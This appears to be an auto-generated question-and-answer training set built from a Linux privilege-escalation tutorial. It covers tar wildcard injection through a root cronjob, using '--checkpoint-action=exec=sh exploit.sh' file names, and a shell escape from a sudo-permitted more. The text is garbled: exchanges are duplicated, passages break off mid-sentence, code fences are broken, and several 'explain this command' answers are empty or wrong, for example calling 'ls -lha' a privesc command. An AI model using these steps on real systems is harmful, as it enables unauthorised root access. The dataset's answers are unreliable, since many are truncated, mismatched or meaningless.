[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 🛠 Living off the land - Case study 1 : Privesc using tar and a cronjob

[Assistant]
Imagine a scenario where a script backups a directory (that we can control) on the server each hour using tar like this :

``
#!/bin/bash

mkdir -p /backups/
cd /var/www/html/ && tar cvzf /backups/backup_$(date +%Y_%m_%d_%Hh%M).tar.gz *
`

Notice this interesting pattern tar czvf file.tar.gz * in the script. This is a security vulnerability because of how UNIX shells handles wildcards. Let's see an example with the ls command :

`
$ ls -lha
total 84K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
$ ls *
file1 file2 file3

$ echo '' > '-lha'
$ ls -lha
total 88K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
-rw-rw-r-- 1 user user 1 avril 27 22:32 -lha
$ ls *
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
`

The shell wildcards are resolved by the shell, and not by the command. This means filenames can be treated as options if they are starting with a -. In our previous example, we added a file called -lha into the folder. When we type ls , the shell replaces the  by all matching files in the current directory, and therefore our command becomes ls file1 file2 file3 -lha. After the wildcard resolution, the shell executes the command with our options.

Now if we get back to our script creating a backup of a directory each our with tar *, we see that tar have legitimate options allowing execution of a program. You can find them here :

* https://gtfobins.github.io/gtfobins/tar/#shell

To use these options in our exploit, we jut need to create these two files in our directory, as well as the exploit.sh file, containing the c

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on 🛠 Living off the land - Case study 1 : Privesc using tar and a cronjob

Response:
Imagine a scenario where a script backups a directory (that we can control) on the server each hour using tar like this :

``
#!/bin/bash

mkdir -p /backups/
cd /var/www/html/ && tar cvzf /backups/backup_$(date +%Y_%m_%d_%Hh%M).tar.gz *
`

Notice this interesting pattern tar czvf file.tar.gz * in the script. This is a security vulnerability because of how UNIX shells handles wildcards. Let's see an example with the ls command :

`
$ ls -lha
total 84K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
$ ls *
file1 file2 file3

$ echo '' > '-lha'
$ ls -lha
total 88K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
-rw-rw-r-- 1 user user 1 avril 27 22:32 -lha
$ ls *
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
`

The shell wildcards are resolved by the shell, and not by the command. This means filenames can be treated as options if they are starting with a -. In our previous example, we added a file called -lha into the folder. When we type ls , the shell replaces the  by all matching files in the current directory, and therefore our command becomes ls file1 file2 file3 -lha. After the wildcard resolution, the shell executes the command with our options.

Now if we get back to our script creating a backup of a directory each our with tar *, we see that tar have legitimate options allowing execution of a program. You can find them here :

* https://gtfobins.github.io/gtfobins/tar/#shell

To use these options in our exploit, we jut need to create these two files in our directory, as well as the exploit.sh file, containing the c


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the bash syntax for 🛠 living off the land - case study 1 : privesc using tar and a cronjob?

[Assistant]
#!/bin/bash

mkdir -p /backups/
cd /var/www/html/ && tar cvzf /backups/backup_$(date +%Y_%m_%d_%Hh%M).tar.gz *

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the bash syntax for 🛠 living off the land - case study 1 : privesc using tar and a cronjob?

Response:
#!/bin/bash

mkdir -p /backups/
cd /var/www/html/ && tar cvzf /backups/backup_$(date +%Y_%m_%d_%Hh%M).tar.gz *


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 🛠 Living off the land - Case study 1 : Privesc using tar and a cronjob

[Assistant]
#!/bin/bash

mkdir -p /backups/
cd /var/www/html/ && tar cvzf /backups/backup_$(date +%Y_%m_%d_%Hh%M).tar.gz *

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
#!/bin/bash

mkdir -p /backups/
cd /var/www/html/ && tar cvzf /backups/backup_$(date +%Y_%m_%d_%Hh%M).tar.gz *


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the ls syntax for 🛠 living off the land - case study 1 : privesc using tar and a cronjob?

[Assistant]
$ ls -lha
total 84K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
$ ls *
file1 file2 file3

$ echo '' > '-lha'
$ ls -lha
total 88K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
-rw-rw-r-- 1 user user 1 avril 27 22:32 -lha
$ ls *
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the ls syntax for 🛠 living off the land - case study 1 : privesc using tar and a cronjob?

Response:
$ ls -lha
total 84K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
$ ls *
file1 file2 file3

$ echo '' > '-lha'
$ ls -lha
total 88K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
-rw-rw-r-- 1 user user 1 avril 27 22:32 -lha
$ ls *
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 Living off the land - Case study 1 : Privesc using tar and a cronjob

[Assistant]
$ ls -lha
total 84K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
$ ls *
file1 file2 file3

$ echo '' > '-lha'
$ ls -lha
total 88K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
-rw-rw-r-- 1 user user 1 avril 27 22:32 -lha
$ ls *
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 🛠 Living off the land - Case study 1 : Privesc using tar and a cronjob

Response:
$ ls -lha
total 84K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
$ ls *
file1 file2 file3

$ echo '' > '-lha'
$ ls -lha
total 88K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
-rw-rw-r-- 1 user user 1 avril 27 22:32 -lha
$ ls *
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `$ ls -lha`?

[Assistant] This command is used for 🛠 living off the land - case study 1 : privesc using tar and a cronjob. Case study 1 : Privesc using tar and a cronjob

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for 🛠 living off the land - case study 1 : privesc using tar and a cronjob. Case study 1 : Privesc using tar and a cronjob


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the echo command for 🛠 living off the land - case study 1 : privesc using tar and a cronjob

[Assistant]
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh exploit.sh'

$ ls -lha
total 88K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 1 avril 27 22:31 '--checkpoint=1'
-rw-rw-r-- 1 user user 1 avril 27 22:32 '--checkpoint-action=exec=sh exploit.sh'
-rwxrwxrwx 1 user user 784 avril 27 22:32 exploit.sh

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the echo command for 🛠 living off the land - case study 1 : privesc using tar and a cronjob

Response:
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh exploit.sh'

$ ls -lha
total 88K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 1 avril 27 22:31 '--checkpoint=1'
-rw-rw-r-- 1 user user 1 avril 27 22:32 '--checkpoint-action=exec=sh exploit.sh'
-rwxrwxrwx 1 user user 784 avril 27 22:32 exploit.sh


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for 🛠 Living off the land - Case study 1 : Privesc using tar and a cronjob?

[Assistant]
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh exploit.sh'

$ ls -lha
total 88K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 1 avril 27 22:31 '--checkpoint=1'
-rw-rw-r-- 1 user user 1 avril 27 22:32 '--checkpoint-action=exec=sh exploit.sh'
-rwxrwxrwx 1 user user 784 avril 27 22:32 exploit.sh

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for 🛠 Living off the land - Case study 1 : Privesc using tar and a cronjob?

Response:
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh exploit.sh'

$ ls -lha
total 88K
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
-rw-rw-r-- 1 user user 1 avril 27 22:31 '--checkpoint=1'
-rw-rw-r-- 1 user user 1 avril 27 22:32 '--checkpoint-action=exec=sh exploit.sh'
-rwxrwxrwx 1 user user 784 avril 27 22:32 exploit.sh


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `echo '' > '--checkpoint=1'`?

[Assistant] This command is used for 🛠 living off the land - case study 1 : privesc using tar and a cronjob. Case study 1 : Privesc using tar and a cronjob

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `echo '' > '--checkpoint=1'`?

Response: This command is used for 🛠 living off the land - case study 1 : privesc using tar and a cronjob. Case study 1 : Privesc using tar and a cronjob


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe 🛠 Living off the land - Case study 2 : Privesc using more and sudo in the context of penetration testing

[Assistant]
Let's take an example, with this sudo configuration :

``
$ sudo -l
[sudo] password for user:
Matching Defaults entries for user on PC1:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on PC1:
 (ALL : NOPASSWD) /usr/bin/more /var/log/apache2/access.log
`

In this case user can run the more command, but only to read a specific log file /var/log/apache2/access.log as root without password (NOPASSWD flag) :

`
sudo -u root /usr/bin/more /var/log/apache2/access.log
`

You can assume this would be safe right ? Unfortunately, it's not. The more command has various useful options, one of them is !. When you're in more and you type an exclamation mark followed by the path to a binary file, you can execute it in a subprocess. For example if you type !/bin/sh in more, you will open a shell as the owner of the parent more process !

``
$ sudo -u root /usr/bin/more /var/log/apache2/access.log
File content line 1
File content line 2
...
File content line n
------------------------
!/bin/sh

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe 🛠 Living off the land - Case study 2 : Privesc using more and sudo in the context of penetration testing

Response:
Let's take an example, with this sudo configuration :

``
$ sudo -l
[sudo] password for user:
Matching Defaults entries for user on PC1:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on PC1:
 (ALL : NOPASSWD) /usr/bin/more /var/log/apache2/access.log
`

In this case user can run the more command, but only to read a specific log file /var/log/apache2/access.log as root without password (NOPASSWD flag) :

`
sudo -u root /usr/bin/more /var/log/apache2/access.log
`

You can assume this would be safe right ? Unfortunately, it's not. The more command has various useful options, one of them is !. When you're in more and you type an exclamation mark followed by the path to a binary file, you can execute it in a subprocess. For example if you type !/bin/sh in more, you will open a shell as the owner of the parent more process !

``
$ sudo -u root /usr/bin/more /var/log/apache2/access.log
File content line 1
File content line 2
...
File content line n
------------------------
!/bin/sh


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 🛠 Living off the land - Case study 2 : Privesc using more and sudo?

[Assistant]
Let's take an example, with this sudo configuration :

``
$ sudo -l
[sudo] password for user:
Matching Defaults entries for user on PC1:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on PC1:
 (ALL : NOPASSWD) /usr/bin/more /var/log/apache2/access.log
`

In this case user can run the more command, but only to read a specific log file /var/log/apache2/access.log as root without password (NOPASSWD flag) :

`
sudo -u root /usr/bin/more /var/log/apache2/access.log
`

You can assume this would be safe right ? Unfortunately, it's not. The more command has various useful options, one of them is !. When you're in more and you type an exclamation mark followed by the path to a binary file, you can execute it in a subprocess. For example if you type !/bin/sh in more, you will open a shell as the owner of the parent more process !

``
$ sudo -u root /usr/bin/more /var/log/apache2/access.log
File content line 1
File content line 2
...
File content line n
------------------------
!/bin/sh

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 🛠 Living off the land - Case study 2 : Privesc using more and sudo?

Response:
Let's take an example, with this sudo configuration :

``
$ sudo -l
[sudo] password for user:
Matching Defaults entries for user on PC1:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on PC1:
 (ALL : NOPASSWD) /usr/bin/more /var/log/apache2/access.log
`

In this case user can run the more command, but only to read a specific log file /var/log/apache2/access.log as root without password (NOPASSWD flag) :

`
sudo -u root /usr/bin/more /var/log/apache2/access.log
`

You can assume this would be safe right ? Unfortunately, it's not. The more command has various useful options, one of them is !. When you're in more and you type an exclamation mark followed by the path to a binary file, you can execute it in a subprocess. For example if you type !/bin/sh in more, you will open a shell as the owner of the parent more process !

``
$ sudo -u root /usr/bin/more /var/log/apache2/access.log
File content line 1
File content line 2
...
File content line n
------------------------
!/bin/sh


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 Living off the land - Case study 2 : Privesc using more and sudo during a pentest?

[Assistant]
$ sudo -l
[sudo] password for user:
Matching Defaults entries for user on PC1:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on PC1:
 (ALL : NOPASSWD) /usr/bin/more /var/log/apache2/access.log

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 Living off the land - Case study 2 : Privesc using more and sudo during a pentest?

Response:
$ sudo -l
[sudo] password for user:
Matching Defaults entries for user on PC1:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on PC1:
 (ALL : NOPASSWD) /usr/bin/more /var/log/apache2/access.log


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `$ sudo -l`?

[Assistant] This command is used for 🛠 living off the land - case study 2 : privesc using more and sudo. Case study 2 : Privesc using more and sudo

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for 🛠 living off the land - case study 2 : privesc using more and sudo. Case study 2 : Privesc using more and sudo


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 🛠 Living off the land - Case study 2 : Privesc using more and sudo?

[Assistant] sudo -u root /usr/bin/more /var/log/apache2/access.log

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute 🛠 Living off the land - Case study 2 : Privesc using more and sudo?

Response: sudo -u root /usr/bin/more /var/log/apache2/access.log


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `sudo -u root /usr/bin/more /var/log/apache2/access.log`?

[Assistant] This command is used for 🛠 living off the land - case study 2 : privesc using more and sudo. Case study 2 : Privesc using more and sudo

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `sudo -u root /usr/bin/more /var/log/apache2/access.log`?

Response: This command is used for 🛠 living off the land - case study 2 : privesc using more and sudo. Case study 2 : Privesc using more and sudo


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about SUDO - Theory

[Assistant]
sudo (Super User DO) is a program for UNIX-like computer operating systems that allows users to run programs with the security privileges of another user (by default, the superuser).

Unlike the similar command su, users must, by default, supply their own password for authentication, rather than the password of the target user. After authentication, and if the configuration file, which is typically located at /etc/sudoers, permits the user access, the system invokes the requested command with the target user's privileges.

Sudo users are called sudoers ( 😯 _I know right, big brains here_ 🧠 ). What sudoers are allowed to do is defined in the /etc/sudoers configuration file. This file, owned by root, is supposed to be 440 (read-only) and should only be edited with visudo, sudoedit or sudo -e.

![](./assets/sudoers_config.png)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
sudo (Super User DO) is a program for UNIX-like computer operating systems that allows users to run programs with the security privileges of another user (by default, the superuser).

Unlike the similar command su, users must, by default, supply their own password for authentication, rather than the password of the target user. After authentication, and if the configuration file, which is typically located at /etc/sudoers, permits the user access, the system invokes the requested command with the target user's privileges.

Sudo users are called sudoers ( 😯 _I know right, big brains here_ 🧠 ). What sudoers are allowed to do is defined in the /etc/sudoers configuration file. This file, owned by root, is supposed to be 440 (read-only) and should only be edited with visudo, sudoedit or sudo -e.

![](./assets/sudoers_config.png)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do SUDO - Theory

[Assistant]
sudo (Super User DO) is a program for UNIX-like computer operating systems that allows users to run programs with the security privileges of another user (by default, the superuser).

Unlike the similar command su, users must, by default, supply their own password for authentication, rather than the password of the target user. After authentication, and if the configuration file, which is typically located at /etc/sudoers, permits the user access, the system invokes the requested command with the target user's privileges.

Sudo users are called sudoers ( 😯 _I know right, big brains here_ 🧠 ). What sudoers are allowed to do is defined in the /etc/sudoers configuration file. This file, owned by root, is supposed to be 440 (read-only) and should only be edited with visudo, sudoedit or sudo -e.

![](./assets/sudoers_config.png)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
sudo (Super User DO) is a program for UNIX-like computer operating systems that allows users to run programs with the security privileges of another user (by default, the superuser).

Unlike the similar command su, users must, by default, supply their own password for authentication, rather than the password of the target user. After authentication, and if the configuration file, which is typically located at /etc/sudoers, permits the user access, the system invokes the requested command with the target user's privileges.

Sudo users are called sudoers ( 😯 _I know right, big brains here_ 🧠 ). What sudoers are allowed to do is defined in the /etc/sudoers configuration file. This file, owned by root, is supposed to be 440 (read-only) and should only be edited with visudo, sudoedit or sudo -e.

![](./assets/sudoers_config.png)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of SUDO - Practice

[Assistant] There are many ways to escalate privileges by exploiting sudo, either by profiting from insecure configuration, or by exploiting the program's vulnerabilities.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: There are many ways to escalate privileges by exploiting sudo, either by profiting from insecure configuration, or by exploiting the program's vulnerabilities.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through SUDO - Practice

[Assistant] There are many ways to escalate privileges by exploiting sudo, either by profiting from insecure configuration, or by exploiting the program's vulnerabilities.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: There are many ways to escalate privileges by exploiting sudo, either by profiting from insecure configuration, or by exploiting the program's vulnerabilities.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of SUDO - Default configurations

[Assistant]
The sudo -l command can be run by sudoers to check their sudo rights. The output reflects the /etc/sudoers configuration that applies to the user. It should like the following (default config for a new sudoer).

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of SUDO - Default configurations

Response:
The sudo -l command can be run by sudoers to check their sudo rights. The output reflects the /etc/sudoers configuration that applies to the user. It should like the following (default config for a new sudoer).

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on SUDO - Default configurations

[Assistant]
The sudo -l command can be run by sudoers to check their sudo rights. The output reflects the /etc/sudoers configuration that applies to the user. It should like the following (default config for a new sudoer).

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on SUDO - Default configurations

Response:
The sudo -l command can be run by sudoers to check their sudo rights. The output reflects the /etc/sudoers configuration that applies to the user. It should like the following (default config for a new sudoer).

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Format is in the context of penetration testing

[Assistant]
User johnthesudoer may run the following commands on johncomputer:
 (ALL : ALL) ALL
``

For instance, this configuration allows the johnthesudoer user to run any privileged command as long as johnthesudoer's password is known. A privileged session can be obtained with sudo -i, sudo -s, sudo su or sudo `.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Format is in the context of penetration testing

Response:
User johnthesudoer may run the following commands on johncomputer:
 (ALL : ALL) ALL
``

For instance, this configuration allows the johnthesudoer user to run any privileged command as long as johnthesudoer's password is known. A privileged session can be obtained with sudo -i, sudo -s, sudo su or sudo `.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Format is during a pentest?

[Assistant]
User johnthesudoer may run the following commands on johncomputer:
 (ALL : ALL) ALL
``

For instance, this configuration allows the johnthesudoer user to run any privileged command as long as johnthesudoer's password is known. A privileged session can be obtained with sudo -i, sudo -s, sudo su or sudo `.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Format is during a pentest?

Response:
User johnthesudoer may run the following commands on johncomputer:
 (ALL : ALL) ALL
``

For instance, this configuration allows the johnthesudoer user to run any privileged command as long as johnthesudoer's password is known. A privileged session can be obtained with sudo -i, sudo -s, sudo su or sudo `.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain SUDO - Living off the land

[Assistant]
While the SUDO configuration can be hardened to restrict privileged execution to specific program, there are some that can be abused to bypass local security restrictions. This is called Living off the land.

``bash
User johnthesudoer may run the following commands on johncomputer:
 (ALL : ALL) /bin/tar
`

